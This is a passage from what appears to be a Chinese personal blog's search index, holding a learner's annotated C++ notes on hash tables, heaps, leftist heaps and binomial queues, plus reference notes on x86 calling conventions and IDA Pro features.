new HashEntry[H->TableSize];for (int i = 0; i < H->TableSize; i++)H->TheCells[i].Info = Empty;return H;}}\n\n    并不复杂,连代码都没几行。\n    首先,建立一个“表指针H”,然后根据输入的“表尺寸TableSize”建表。\n    ①先为H开辟一个“表空间”\n    ②尺寸赋予\n    ③为该空间中的“表单元指针”开辟出一个数组,以存放每个表单元的数据(我自己偶尔会绕进去,所以姑且打个注释吧。指针在定义的时候就存在了,而开辟指针空间实际上是为指针所指向的结构体开辟一块空间,这一操作只是让这些被声明好的指针有地方能指,而不是把指针放进去……(我自己也觉得这样特地去说好像有点蠢……))\n    ④将这个每个“表单元”初始化为Empty\n    ⑤返回这个表的地址\n    //—————————————————–//\n查找关键字函数:\nPosition Find(int key, HashTable H){Position CurrentPos;int CollisionNum;CollisionNum = 0;CurrentPos = Hash(key, H->TableSize);while (H->TheCells[CurrentPos].Info != Empty && H->TheCells[CurrentPos].Key != key){CollisionNum++;CurrentPos += 2 * CollisionNum - 1;if (CurrentPos >= H->TableSize)CurrentPos -= H->TableSize;}return CurrentPos;}\n\n    很有意思的函数,我最初并没有看懂为什么CurrentPos是那样计算的,但从结论来说,作者说的对。\n    ①声明位置指针CurrentPos\n    ②定义碰撞次数CollisionNum=0\n    ③得出其本该对应的哈希值\n    ④遍历表。如果“该单元状态非空,且关键字不相同”,碰撞次数增加,CurrentPos指针偏移一个 CollisionNum^2(并判断是否超出了表的范围,若超出就把它来回来)\n    最妙的就是偏移量计算了。它避免了一些看似需要的乘法和除法。书上还特别叮嘱,不要改变While的判断条件的先后顺序(这是很有必要,也很有趣的方法。当你发现该单元格内数据为Empty,则直接返回这个地址了,而不是返回NULL。这会为下一个Insert函数提供很多便利。并且,也是非常有必要的是,对于没有初始化的单元格内的Key,它无疑是有一个确确实实的值的,这样做能省下一点时间。)\n F(i)=F(i-1)+2i-1 这是书中给出的算法,在计算机中并不难实现。\n    //———————————————————–//\n插入函数:\nvoid Insert(int key,HashTable H){Position Pos;Pos = Find(key, H);if (H->TheCells[Pos].Info != Legitimate){H->TheCells[Pos].Info = Legitimate;H->TheCells[Pos].Key = key;}}\n\n    ①声明,并找出该关键字对应的Pos位置\n    ②如果这个关键字已经存在了,就什么都不做;如果不存在,那就往里面放新的关键字。\n    不妨假设现在的表中是不存在Deleted状态的单元格。那么Find函数只会返回Legitimate或者Empty。\n    返回Legitimate状态的条件,只有一种:①单元格不为空,关键字相同。此时,Find函数会马上返回Legitimate\n    返回Empty状态的条件,也只有一种:①单元格为空,直接返回。\n    这样的说明分明是没必要的,但我写出来才理顺了。\n    删除函数并没有写,我觉得那没太大必要,就做些简单的说明吧。\n    本例中,“删除”操作并不是指把数据真的删除,只是把单元格状态标记为Deleted罢了。数据仍然会被保存。\n    如果真的想写,和上面的Insert差不多。直接用Find找出来,判断是否为Empty就行了。\n双散列与再散列:双散列:\n    原理很朴素。既然第一个哈希值会发生冲突,那再来一个哈希值不就好了?\n    比如,现在有两个哈希函数,分别记作Hash1(X)与Hash2(X),其中,X为关键字。\n    假如现在我们得到的第一个哈希值Hash1所对应的位置已经有先来的人了,位子已经被占了,那这个X肯定没办法放进去了;那么,便再计算这个X的Hash2,发现第二个位子还是空的,于是我们把Hash2放进去。这就是原理,但论谁都应该会有一些疑问,写在下面。\n对双散列的思考:\n    很明显,这种策略并不能从根本上解决问题,甚至也都没办法从基础上解决问题。因为表仍然是那一张,只不过每个关键字现在能够拥有两个哈希值了,但这对每一个关键字来说都是一样的。或许一个好的哈希函数能够在这种情况下尽可能的填补缺陷(比方说,第一个哈希函数算出来的值大多数占据了表的一半,而另外一个哈希函数则占据另外一半,那这种对半开的函数就非常棒了。当然,这只是一种愿望,实际中不一定真的存在这种巧合),但情况仍然相对糟糕。\n    那比方说三散列呢?四散列?看起来好像都是可行的策略,但要设计出这种方案着实困难。对于哈希函数的设计既复杂也浪费,而且往往还不能得到期望的结果。\n    当然,实际情况其实也并没有那么糟糕。放到实际情况中去考量的话,这种策略预期的探测次数几乎和随机冲突解决方法的情形是相同的。\n    吸引人吗?是的,吸引人。但我也不是很懂就是了。\n再散列:\n    同样不难,比起下一个可扩散列来讲,这要随和的多了。\n    原理也很简单。当表不够大了,就把表扩大一倍不就行了(这个一倍也是有原因的,具体情况适当了解即可)?\n代码:\nHashTable ReHash(HashTable H){int OldSize;OldSize = H->TableSize;Cell* OldCells;OldCells = H->TheCells;H = InitializeTable(2 * OldSize);for (int i = 0; i < OldSize; i++){if (OldCells[i].Info == Legitimate)Insert(OldCells[i].Key, H);}delete[] OldCells;return H;}\n\n    很好理解的,书上给的代码相当易懂,就不解释了。\n","categories":["Note","C++/数据结构"],"tags":["C++","数据结构"]},{"title":"《IDA权威指南》 Note","url":"/2021/03/22/idaprobook/","content":"插图ID:87390511\n笔记主要用作字典,记录仅为了方便自己的查阅\n调用约定:\nvoid demo_cdecl(int x,int y);;demo_cdecl(1,2);//-----------------------//push 2; push ypush 1; push xcall demo_cdecladd esp,8//-----------------------//mov [esp+4],2mov [esp],1call demo_cdecl//-----------------------//;C调用约定:由调用方清除栈中参数\n\nvoid _stdcall demo_stdcall(itn x,int y);;demo_stdcall(1,2);//-----------------------//push 2push 1call demo_stdcall//-----------------------//;标准调用约定:被调用方通过ret 8来清除栈中参数\n\nvoid fastcall demo_fastcall(int w,int x,int y,int z);;demo_fastcall(1,2,3,4);//-----------------------//push 4push 3mov edx,2mov ecx,1call demo_fastcall//-----------------------//x86 fastcall调用约定:将前两个参数(w,x)分别送入ECX和EDX寄存器,其他参数同stdcall相同,由被调用方清除栈中数据\n\nC++调用约定: 使用this指针,由调用方提供调用地址 Mircosoft Visual C++提供thiscall调用约定,将this指针传递道ECX寄存器,并和stdcall中相同,由被调用者清除栈中参数\n\n函数特征:\n\n函数名称:可用于更改函数名称\n起始地址:IDA自动识别的函数起始点\n结束地址:同上\n局部变量区(Local variables area):函数局部变量专用的栈字节数。多数情况下,IDA会通过分析函数的栈指针的行为,自动计算该数值\n保存的寄存器(Saved registers):为调用方保存寄存器所使用的栈字节数(指 push EBP,pop EBP等)。IDA认为保存的寄存器区域存放在保存的返回地址顶部、与函数有关的所有局部变量的下方。一些编译器选择将寄存器保存在函数局部变量的顶部。IDA认为保存这些寄存器所使用的空间属于局部变量区域,而非保存的寄存器区域(本例为main函数,在起始位置存在push EBP的行为)\n已删除的字节(Purged bytes):表示当函数返回调用方时,IDA从栈中删除的参数的字节数。对cdecl函数而言,这个值应该为‘0’。对stdcall函数来说,这个值表示传递道栈上的所有参数占用的空间。在x86程序中,如果IDA观察道程序使用了返回指令的RET N变体,便会自动确定该数值。\n帧指针增量(Frame pointer delta):编译器可能会对函数的帧指针进行调整,使其指向局部变量区域的中间,而不是指向保存在局部变量区域的底部的帧指针中。调整后的帧指针到保存的帧指针之间的这段距离叫做帧指针增量。使用该数值的目的,是在离帧指针1字节的偏移量(-128~+127)内保存尽可能多的栈帧变量。\n不返回(Dose not return):函数不返回到它的调用方。如果调用这样的函数,在相关的调用指令之后,IDA认为函数不会继续执行\n远函数(Far function):在分段体系结构上将函数标记为远函数。在调用该函数时,函数调用方需要指定一个段和偏移值。通常,是否使用远调用,应该由程序中使用的内存模式决定,而不是由体系结构支持分段(x86体系结构上使用了大内存模式(相对于平内存模式))决定\n库函数(Library func):将函数标记为库代码。\n静态函数(Static func):仅标记函数为静态函数\n基于BP的帧(BP Based frame):BP指代EBP。暂时不同能够理解书中的描述\nBP等于SP:一些函数将帧指针配置为在进入应该函数时指向栈帧的顶端,该情况将被标记该数值。基本上,它的作用等同于将帧指针增量大小设置为等于局部变量区域\nArray数组功能:\n数组元素宽度(Array element size):指定各元素的大小,单位为字节\n最大可能大小(Maximal possible size):指定最大数组长度\n数组大小(Array Size):早期版本也称为Number of element\n行中的项目(Item on a line):单行显示的元素数量\n元素宽度(Element width):控制显示时的字距\n使用重复结构(Use “dup” construct):该选项会将相同的数值合并,用重复说明符组合成一项\n有符号元素(Signed element):将数据显示为有符号或无符号\n显示索引(Display indexes):如名的功能。索引将以注释的形式附加在每行的末尾,若单行有多个元素,则只会显示尾元素的索引\n基本操作:\n热键C:可用于将未定义的字符串反编译为代码\n热键D:将代码转换为数据(可类似字符串),也可用于修改一定义数据的类型\n热键G:跳转至目标地址\n热键U:取消当前定义(当IDA错误的将某些数据视作了函数,使用该方法可以修正这种错误)\n","categories":["Note","逆向工程"],"tags":["IDA","逆向"]},{"title":"优先队列(堆)","url":"/2021/02/16/heap/","content":"    学习过程跟进《数据结构与算法分析》,主要代码大致与树种例程相同,若有疏漏或错误,请务必提醒我,我会尽力修正。\n目录:\n\n[toc]优先队列(堆)\n最小堆HeapMin\n左式堆Leftist Heap\n二项队列Binomial-Queue\n\n优先队列(堆):\n    一种能够赋予每个节点不同优先级的数据结构。有“最小堆”和“最大堆”两种基础类型。实现的根本原理有两种,一种是“数组”,另外一种则是“树”(大多是指二叉树)。但在实现最大/最小堆时,使用数组更优。因为堆并不像树那样需要很多功能支持,自然也不需要用到指针(当然,高级结构还是会用到的,比如“左式堆”等,之后将有实现)。\n    如果您此前已经看过堆的基本结构概念,那应该大致明白最小堆长什么样了,基础结构的堆就是一颗符合特定条件的二叉树罢了。\n    特殊性质:对每一个节点的关键字,都要比其子树中的任何一个关键字都小(任何一个节点的关键字是其子树以及其自身中最小的那个)。这个条件是针对最小堆的,最大堆则反之。\n    因为基础的堆结构只支持“插入”和“最小值出堆”这两种操作。在处理任务进程的时候,对应的也有“增加任务”和“处理任务量最少的任务”这种解释,或许这样更容易让人明白堆的作用。而最大堆则可将其解释为“处理优先级最高的任务”。(当然,实际上还需要对任务量/优先级进行变动,包括增/减关键字的大小这样的操作,自然也能够进行特定关键字的删改了)。\n最小堆HeapMin://-----------声明部分----------//struct HeapStruct;struct ElementType;typedef struct HeapStruct* PriorityQueue;//堆指针#define MinElements 1#define Max 99999bool IsEmpty(PriorityQueue H);//是否为空堆bool IsFull(PriorityQueue H);//是否为满堆 void Insert(ElementType key, PriorityQueue H);//插入关键字ElementType DeleteMin(PriorityQueue H);//删除最小值PriorityQueue BuiltHeap(ElementType* Key, int N);//成堆void PercolateDown(int i, PriorityQueue H);PriorityQueue Initialize(int MaxElements);//建空堆void IncreaseKey(int P, int Add, PriorityQueue H);//增加关键字值void DecreaseKey(int P, int sub, PriorityQueue H);//降低关键字值void Delete(int P, PriorityQueue H);//删除关键字struct ElementType//关键字数据块{int Key;};struct HeapStruct//堆结构{int Capacity;int Size;ElementType* Element;};ElementType MinData;//最小数据块//-----------声明部分----------//\n\n     看注释大概就能明白了。但值得说明的是,因为最终是通过数组来实现的,而数组必须先行规定好它的尺寸,所以建立的堆也必须面临“被装满”的情况(当然,用new函数重新开辟也行,谁让这是C++呢)\n建立空堆Initialize:\nPriorityQueue Initialize(int MaxElements)//形参为堆的总节点数{PriorityQueue H;if (MaxElements < MinElements)return NULL;H = new HeapStruct;H->Element = new ElementType[MaxElements + 1];H->Capacity = MaxElements;H->Size = 0;H->Element[0] = MinData;return H;}\n\n    注:我并没有把new函数失败的情形写出来,但那些内容并不影响对数据结构的学习。对这方面有需求请自行添加。\n    注:MinData是一个最小数据块,同时也只是一个冗余块。在之后的任何操作中,都不会对存有MinData的Element[0]进行任何操作。只是通过占用[0]节点,使得之后的操作变得更加可行了。需要注意的是,这个0节点并不是根节点(当时没绕过来,在这里浪费了太多时间)。\n插入Insert:\nvoid Insert(ElementType key, PriorityQueue H){int i;if (IsFull(H))exit;++H->Size;for (i = H->Size; H->Element[i / 2].Key > key.Key; i /= 2)H->Element[i] = H->Element[i / 2];H->Element[i] = key;}\n\n    for循环中的判断方式被称之为“上滤”,也是这种方式得以实现的重要规则。对于根节点从 Element[1] 开始的这个堆,Element[i]的左儿子必然是Element[2*i],除非它没有左儿子。\n    回到这个函数,因为int型会自动取整舍弃小数位,所以 Element[i/2] 必定指向 Element[i] 的父节点,不论它是不是单数。\n    而这个寻路条件则是在不断的比较子节点与父节点的大小。流程如下:\n    ①先将新节点放在数组的最后一位(并不是指数组的末尾,而是按照顺序装填的最后一位),然后比较它与父节点的大小。\n    ②若它小于父节点,那么将其与父节点交换位置,此时 i/=2 , Element[i]再次指向它。\n    ③继续相同操作。直到父节点小于它,或是没有父节点为止。\n    不得不承认,这种操作很棒。因为它让函数的最坏时间复杂度降到了logN(因为实际操作中,不一定都要上履到最顶层)。\n最小值出堆DeleteMin:\nElementType DeleteMin(PriorityQueue H){int i, Child;ElementType MinElement, LastElement;if (IsEmpty(H))return H->Element[0];MinElement = H->Element[1];LastElement = H->Element[H->Size--];for (i = 1; i * 2 <= H->Size; i = Child){Child = 2 * i;if (Child != H->Size && H->Element[Child + 1].Key < H->Element[Child].Key)Child++;if (LastElement.Key > H->Element[Child].Key)H->Element[i] = H->Element[Child];elsebreak;}H->Element[i] = LastElement;return MinElement;}\n\n    同“上滤‘相近,在这个函数中运用的方法为”下滤“。简要谈谈过程吧:\n    ①声明各种各样的变量,并判断H是不是一个空堆。\n    ②将堆中最小的值Element[1]拷贝到MinElement中,同理将最后一个值放进LastElement中。(这个Element[1]将会被新值替换,而这个LastElement则要用来填补某个空缺)\n    ③从i=1开始,Child则指向根节点Element[1]的左儿子,同时比较根节点的左右儿子大小,将Child指向小的那一个,我是说,H->Element[Child]会指向小的那个。\n    ④然后再判断最后一个数和 H->Element[Child] 的大小。如果最后一个比较大,那就把父节点Element[i]用它的子节点替代。\n    ⑤重新回到循环,现在的 i 已经指向了本来的子节点,并开始重复上述从③开始的操作,直到当前Element[i]的子节点中较小的那一个Element[Child]比最后一个节点的值要小为止。\n   ⑥将现在的父节点Element[i]用最后一个替代。\n    或许从途中就会觉得有些怪异,这究竟是个怎么回事。\n    事实上,经过上述操作直到步骤⑤,最终的Element[i]将会指向某片叶子,这片叶子是根据其上的操作逐层筛选出来的。最后通过\nH->Element[i] = LastElement;\n\n    将这个位置用最后一位来替代,并返回了刚开始拷贝好的最小值,实现了删除最小值的操作。当然,实际上,这个数组的最后一位仍然保存着某个关键字,但并不需要太担心,因为经过了H->Size–,当下次插入节点的时候,遇到合适的数值,将会直接把这个位置覆盖掉。并且,也如您所见,所有的操作单元均在[1,H->Size]的范围内,对于范围外的元素,即便它还留有关键字,也不会再造成影响了。\n成堆BuiltHeap:\n    通常,我们将会导入一整串数组,然后再利用它们来生成一个堆结构。实际上,当然也可以通过Insert来一个个安置。以下是没套用Insert的例程,主要通过递归来实现。\nPriorityQueue BuiltHeap(ElementType *Key,int N)//Key指向将要导入的数据数组{int i;PriorityQueue H;H = Initialize(N);for (i = 1; i <= N; i++)H->Element[i] = Key[i - 1];H->Size = N;for (i = N / 2; i > 0; i--)PercolateDown(i, H);return H;}void PercolateDown(int i,PriorityQueue H){int MinSon;ElementType Tmp;if (i <( H->Size / 2)){if (2 * i + 1 <= H->Size && H->Element[2 * i].Key > H->Element[2 * i + 1].Key)MinSon = 2 * i+1;elseMinSon = 2 * i;if (H->Element[i].Key > H->Element[MinSon].Key){Tmp = H->Element[i];H->Element[i] = H->Element[MinSon];H->Element[MinSon] = Tmp;}PercolateDown(MinSon, H);}}\n\n    ①声明,并建立空堆,然后把所有元素全都不按规则的塞进去,再指定好H->Size。\n    ②从最后一个具有“父节点”性质的节点进入下滤函数。过程与DeleteMin相近:选出子节点中小的,再与父节点比较,将较小的那一个放在父节点的位置,而较大的那一个下沉到子节点。并且再次进入这个函数。\n    ③实现全部的过滤之后,返回H。\n    递归在这里是非常好用的。在BuiltHeap函数中,for循环实现了对每一个具有“父节点”性质的节点进行下滤(这是根据数组节点的排列顺序实现的,父节点必然都能按顺序排下去)。而递归则实现了对整条路径的下滤操作。假设从根节点开始下滤,那么必然会进入PercolateDown(MinSon,H)中,将较小的那个子节点作为本次递归的新的父节点同样进行下滤。最终实现了堆序(Heap order)。\n    剩下的就是一些无关紧要的函数了,看看思路就行。因为是我自己写的,可能会有错误,如有发现,还请务必告知我,我会尽量修正。\nvoid DecreaseKey(int P,int sub,PriorityQueue H)//降低关键字的值{H->Element[P].Key -= sub;int i;ElementType Tmp;for (i = P; H->Element[i / 2].Key > H->Element[i].Key; i /= 2){Tmp = H->Element[i / 2];H->Element[i / 2] = H->Element[i];H->Element[i] = Tmp;}}void IncreaseKey(int P, int Add, PriorityQueue H)//提高关键字的值{int i,Child;ElementType Tmp;H->Element[P].Key += Add;for (i = P; 2 * i <= H->Size; i = Child){Child = 2 * i;if (Child != H->Size && H->Element[Child + 1].Key < H->Element[Child].Key)Child++;if (H->Element[i].Key > H->Element[Child].Key){Tmp = H->Element[Child];H->Element[Child] = H->Element[i];H->Element[i] = Tmp;}elsebreak;}}void Delete(int P,PriorityQueue H)//删除指定关键字{DecreaseKey(P, Max, H);DeleteMin(H);}\n\n    原理同上面的其他函数一样的,建议自己实现一下。\n左式堆Leftist Heap:    因为基础的堆结构由数组实现,所以并不支持合并等高级操作(有办法实现,但效率并不那么理想),为解决这些问题,左式堆提供了一些方案。\n    左式堆同样遵守最小堆的基本堆序——任意节点的关键字值低于其子树中的所有节点,但与之不同的是,左式堆的基本结构还包含了Npl(Null path length),即从该结点到达一个没有两个孩子的结点的最短距离。并要求:任意结点的左孩子的Npl大于或等于右孩子的Npl。\n声明部分:(函数对应的作用已经写在注释里了)\n//----------声明部分----------//typedef struct TreeNode* PriorityQueue;//节点指针struct TreeNode//节点结构{int Element;PriorityQueue Left;PriorityQueue Right;int Npl;//Null Path Length};PriorityQueue Initialize(void);//建立空堆PriorityQueue Merge(PriorityQueue H1, PriorityQueue H2);//合并堆(驱动例程)static PriorityQueue Merge1(PriorityQueue H1, PriorityQueue H2);//合并堆(实际例程)void SwapChildren(PriorityQueue H);(交换H的左右子树)PriorityQueue Insert1(int key, PriorityQueue H);//插入节点bool IsEmpty(PriorityQueue H);//是否为空堆PriorityQueue DeleteMin1(PriorityQueue H);//删除最小值//----------声明部分----------//\n\n建立空堆Initialize:\nPriorityQueue Initialize(void){PriorityQueue H;H = new TreeNode;H->Left = H->Right = NULL;H->Npl = 0;return H;}\n\n规定NULL的Npl为-1,则对任何一个没有两个子树的节点,其Npl为0。\n插入Insert:\nPriorityQueue Insert1(int key, PriorityQueue H){PriorityQueue SingleNode;SingleNode = new TreeNode;SingleNode->Element = key;SingleNode->Npl = 0;SingleNode->Left = SingleNode->Right = NULL;H = Merge(SingleNode, H);return H;}\n\n    区别于最小堆中的Insert函数,这里用的是Insert1。因为Insert没有返回值,也不需要返回值,所有那样做是没有问题的;但在左式堆中,将一个元素插入空堆时,需要返回新的根节点地址,所以应有一些区别。另外,这个函数首次出现了Merge函数。关于Merge函数将会放在最后,目前权且当它是一个合并两个堆,并返回新的根节点的函数即可。(目前我个人还不会写宏定义,但如果您已经学会了,不妨试着将Insert函数写成宏定义,书上是这样建议的)\n删除最小值Delete:\nPriorityQueue DeleteMin1(PriorityQueue H){if (IsEmpty(H))exit;PriorityQueue LeftHeap=H->Left, RightHeap=H->Right;delete H;return Merge(LeftHeap, RightHeap);}\n\n    因为左式堆和最小堆有着同样的结构,所以最小值同样都是根节点,所以例程非常的简洁也很清晰。已经没必要做其他解释了。\n合并堆Merge:\nPriorityQueue Merge(PriorityQueue H1, PriorityQueue H2)//驱动例程{if (H1 == NULL)return H2;if (H2 == NULL)return H1;if (H1->Element < H2->Element)return Merge1(H1, H2);elsereturn Merge1(H2, H1);}static PriorityQueue Merge1(PriorityQueue H1, PriorityQueue H2)//实际例程{if (H1->Left == NULL)H1->Left = H2;else{H1->Right = Merge(H1->Right, H2);if (H1->Left->Npl < H1->Right->Npl)SwapChildren(H1);H1->Npl = H1->Right->Npl + 1;}return H1;}void SwapChildren(PriorityQueue H)//交换子树{PriorityQueue Tmp;Tmp = H->Left;H->Left = H->Right;H->Right = Tmp;}\n\n    最后是关键的合并堆函数。Merge函数作为合并开始的入口被调用,而实现过程则放在Merge1函数中进行。SwapChildren函数是附带的,你当然也可以把它写在Merge1中。\n    对于没有图的过程描述,我觉得实在有些难以想象。这里引用书上的例子(尽管这个例子并不方便,但在某些地方能起到很好的范例)。\n\n\n     现在,不妨先假设根节点为3的堆为H1,另外一个为H2。现在将它们放入Merge(H1,H2)。注:以下所说的H1和H2是在不停的变动的,具体目标请以所指根节点为准。\n    经过一系列的比较,达到这行代码:\nH1->Right = Merge(H1->Right, H2);\n\n    ①将H1->Right指向 根节点为8的堆 与 H2 合并的结果。\n    同理,经过一系列的比较。现在,H1的根节点是6,H2的根节点是8。\n    ②再次遇到相同的情况,H1->Right指向 根节点为7的堆 与 H2(根节点为8的堆) 合并的结果。\n    再次经过一系列的比较。现在H1的根节点是7 ,H2的根节点是8。\n    ③同上,令H1->Right 指向 H1(根节点为18的堆) 与 H2(根节点为8的堆)合并 的结果。\n    上一行描述合并后的结果显而易见,只是将18放到了8的右儿子处罢了。然后返回新根 8 的地址。\n    现在,③行处的H1->Right指向新根 8。即 7->8。\n    判断Npl,并将左右子树进行一次交换。\n    以上内容实现了 根节点为3的右子树与 根节点为6的堆 的合并过程。\n    回到①行中方的H1->Right,其现在指向了新的根 6。判断Npl,再次旋转。\n    合并完成。\n    很多时候,即便我仔细地捋顺了递归操作的流程,它的可读性仍然相当糟糕……但如果不去捋顺过程,又没办法改进其操作,甚至有的时候连利用都做不到。对于我这种出入数据结构的萌新来说,可能只能多看看代码来适应这种生活吧……\n二项队列Binomial Queue:(以下不只是简介,还包括了一些个人理解,如果您学习过程遇到什么麻烦,不妨先看看)\n    根据书上的描述,似乎是左式堆的一种改良版。虽然左式堆和斜堆每次操作都花费logN时间,且有效支持了插入、合并与最小值出堆,但其每次操作花费常数平均时间来支持插入。而在二项队列中。每次操作的最坏情况运行时间为logN,而插入操作平均花费常数时间。这算是在一定程度上优化了斜堆。\n    其结构就如名字一样,是“二项”。我们可以将其简单理解为“上项”和“下项”(这只是为了方便理解罢了,实际运用中自然不存在这种称呼,但我总要找个名字给它,不然描述起来还挺费劲的)。实际的样子当您看到图片的时候就能明白,我为什么要那样称呼它们了。\n    并且,二项队列的样子也特殊一点。它是一种被称之为“森林”的结构,形象的说,它包括了许多中不同高度的二叉树(但每一种高度的树只有一颗,一旦出现两颗同样高度,它们就会被立刻合并成新的高度,这也是特色之一)。并且,它也有最小堆的特性,关键字的数值随高度递减,每一个根节点的值都比子树中任何一个节点的关键字小。\n\n    如图,这便算是一个简单的二项队列结构。上面是一个数组,数组中存放有指针。而下面的则是许多的树(剥去数组,你看到的才是真正的二项队结构,数组只是从计算机中实现的一种方法罢了。并且,B3中的那颗树和我们实际实现的有些不同,具体的情况后面会写。但目前,权且当它就长这个样吧(或许这才是本该有的结构,但计算机不方便这样做,所以之后会有另外一个实现的样子))\n//-------------声明部分---------------//typedef struct BinNode* Position;//位置指针typedef struct BinNode* BinTree;//树指针typedef struct Collection* BinQueue;//队列指针#define MaxTrees 5 //数组的长度,也同时规定了二叉树的高度#define Capacity ((1<<MaxTrees)-1)//容量是2^0+2^1+......+2^(MAXTREES-1)BinQueue Initialize(void);//建立空队列BinTree CombineTrees(BinTree T1, BinTree T2);//合并高度相同的树BinQueue Merge(BinQueue H1, BinQueue H2);//合并两个队列int DeleteMin(BinQueue H);void Insert(int X, BinQueue H);int IsEmpty(BinQueue H); struct BinNode //树节点{ int Key;Position LeftChild;Position NextSibling;};struct Collection //森林{int CurrentSize; //已容纳量BinTree TheTrees[MaxTrees];//容纳二叉树的数组};//-------------声明部分---------------//\n\n    因为书上没有说明一些变量的作用,所以我自己绕了一会,在这里顺便说明一下吧:\n    CurrentSize:已容纳量。指的是整个队列的节点数。比方说上图中的的容纳量就是15(对应总共15个节点)。\n    Capacity:队列容量。指的是一个二项队列结构最高能容纳的节点数。比方说上图的队列容量就是(B3——15)(也因为我画的不太好,所以B3看起来高度不像3,但会意一下就行,实在不行去找找其他大佬的图也行)。(但写法是一个等比数列求和结果,很明显,每个高度的节点数是等比增加的)\n    LeftChild/NextSibling:连接指针。这个东西具体到后面看见实际的图片时,自然会懂。\n\n这幅图为实际做出的结构,以下说明的时候请经常对照以方便理解。高度相同的节点我已经尽量画在同一水平线了,也如您所见,B1没有节点,B3的高度确实是3(建立在B0处的节点高度设定为0的基础上)。\n关于LeftChild和NextSibling指针已经标出(取首字母表示)。\n建立队列Initialize:\nBinQueue Initialize(void){BinQueue H = new Collection;for (int i = 0; i < MaxTrees; i++)H->TheTrees[i] = NULL;H->CurrentSize = 0;return H;}\n\n    没什么好说的,但因为书上没有,加上我当时不太明白几个参数的作用,所以绕了好一会,贴在这里以防万一。(至少如果不明白CurrentSize是什么,就没办法让它等于0了……)\n插入节点Insert:\nvoid Insert(int X, BinQueue H){BinQueue temp = initialize();temp->CurrentSize = 1;temp->TheTrees[0] = new BinNode;temp->TheTrees[0]->Key = X;temp->TheTrees[0]->LeftChild = NULL;temp->TheTrees[0]->NextSibling = NULL;Merge(H, temp);delete temp;}\n\n    从这个函数可以看出,所谓的插入节点,实际上是将新节点当作了一个只有B0结构的二项队列,然后将其合并。目前,我们只需要将Merge函数视作一个合并二项队列的函数即可,关于这个函数会在下面讲到。\n最小值出队DeleteMin:\nint DeleteMin(BinQueue H){int i, j;int MinTree;BinQueue DeleteQueue;Position DeleteTree, OldRoot;int MinItem;//ElementType if (IsEmpty(H))return NULL; MinItem=INFINITY;for (i = 0; i < MaxTrees; i++){if (H->TheTrees[i] && H->TheTrees[i]->Key < MinItem){MinItem = H->TheTrees[i]->Key;MinTree = i;}}DeleteTree = H->TheTrees[MinTree];OldRoot = DeleteTree;DeleteTree = DeleteTree->LeftChild;delete OldRoot; DeleteQueue = initialize();DeleteQueue->CurrentSize = (1 << MinTree) - 1;for (j = MinTree - 1; j >= 0; j--){DeleteQueue->TheTrees[j] = DeleteTree;DeleteTree = DeleteTree->NextSibling;DeleteQueue->TheTrees[j]->NextSibling = NULL;}H->TheTrees[MinTree] = NULL;H->CurrentSize -= (DeleteQueue->CurrentSize + 1);Merge(H, DeleteQueue);return MinItem;}\n\n    函数本身不算难,但有些冗长。姑且做些说明,但自己写出来是最有效的理解方式。\n    ①一系列将要用到的声明。其中MinItem是将要出堆的Key(因为我设定的Key是int类型),再将MinItem设定为无限大(Infinity)。\n    ②遍历队列数组,选出队列中最小的关键字节点。用MinTree标记其对应的索引,MinItem拷贝其数值。\n    ③将标记好的最小值节点拷贝到DeleteTree与OldRoot,再把DeleteTree指向其左儿子。删除最小值节点。\n    ④将刚才拷贝的左儿子新建到另外一个队列里,设定好相关的数值,最后把两个队列合并。\n    值得注意的是,for循环是将失去了根节点的堆重新整合到新队列中。这个操作看起来有些抽象,但实际上是可行的。不妨带入B3节点来试探一下,删去了根节点后,它被拆分成了B0,B1,B2三棵树进入新队列了。最开始的那幅图其实很好的说明了问题,那张图的B3有这明显的复制粘贴B2的痕迹,但事实就如描述一样,它们真的就是像复制粘贴一样的结构。所有你可以试着去拆分一下,Bk去掉根节点必然会变成B0,B1,B2……Bk-1颗树。\n    以及另外一个注意点:\nH->CurrentSize -= (DeleteQueue->CurrentSize + 1);\n\n    其实不太必要在这个地方纠结太久,但以防万一还是说明一下。这行代码减去的数量将在Merge函数中补齐,先后的总节点数差距确实是 1 ,可以自行验证一下。如果缺乏这条函数,Merge将会导致CurrentSize与实际不符。(之所以减去那个量,是因为Merge会补回DeleteQueue->CurrentSize的数量,和这段语句正好相差 1 )\n合并队列Merge:\nBinTree CombineTrees(BinTree T1,BinTree T2){if (T1->Key > T2->Key)return CombineTrees(T2, T1);T2->NextSibling = T1->LeftChild;T1->LeftChild = T2;return T1;}BinQueue Merge(BinQueue H1,BinQueue H2){BinTree T1, T2, Carry = NULL;int i,j;if (H1->CurrentSize + H2->CurrentSize > Capacity)exit;H1->CurrentSize += H2->CurrentSize;for (i = 0, j = 1; j <= H1->CurrentSize; i++, j *= 2){T1 = H1->TheTrees[i]; T2 = H2->TheTrees[i];switch(!!T1+2*!!T2+4*!!Carry){case 0://No treecase 1://only h1break;case 2://only h2H1->TheTrees[i] = T2;H2->TheTrees[i] = NULL;break;case 4://only carryH1->TheTrees[i] = Carry;Carry = NULL;break;case 3://h1 and h2Carry = CombineTrees(T1, T2);break;case 5://h1 and carryCarry = CombineTrees(T1,Carry);H1->TheTrees[i] = NULL;break;case 6://h2 and carryCarry = CombineTrees(T2,Carry);H2->TheTrees[i] = NULL;break;case 7://h1 and h2 and carryH1->TheTrees[i] = Carry;Carry = CombineTrees(T1,T2);H2->TheTrees[i] = NULL;break;}}return H1;}\n\n    最后是关键性的合并函数Merge。这个例程还需要用到CombineTrees函数,用于合并高度相同的树。\n    函数本身并不是很复杂,用了一个switch来判断情况,这个方式相当有趣,是很值得学习的一种想法。(!!符号似乎是用来判断存在性的(我不太清楚这样描述对不对,所有用“似乎”),若值存在且非0,则返回1,否则返回0)。\n    以及比较有趣的是for循环的判断条件 j<=H1->CurrentSize 和 j*=2\n    看起来有些抽象,解释起来也是。\n    现在的H1->CurrentSize已经是合并结束后的总节点数量了,而这个数量直接关系到for循环需要抵达哪一个高度的数组格。(比如说,我的数组最高能到B20,但现在根本没有那么多树需要存放,最高的树高度只到B5,那如果全都扫一遍,岂不是浪费了很多时间?)\n    所有才有 j*=2这个条件来制约。如您所见,每个高度的节点数实际上是固定的 2^Bk(2的Bk次方,k指高度,如B0,B1等)。这就涉及到了一些数学关系,所有我就不写这了。只需要捋一捋,我想很快就会发现这神奇的操作(如果最高到B5,那这个for循环进行4次之后,它的 j 就会超出范围导致for循环终止)。\n    流程其实没必要细讲了,函数写的很清楚了,注释也有,笔记的目的已经达成了,那就到这吧。\n","categories":["Note","C++/数据结构"],"tags":["C++","数据结构"]},{"title":"Kernel Pwn环境搭建 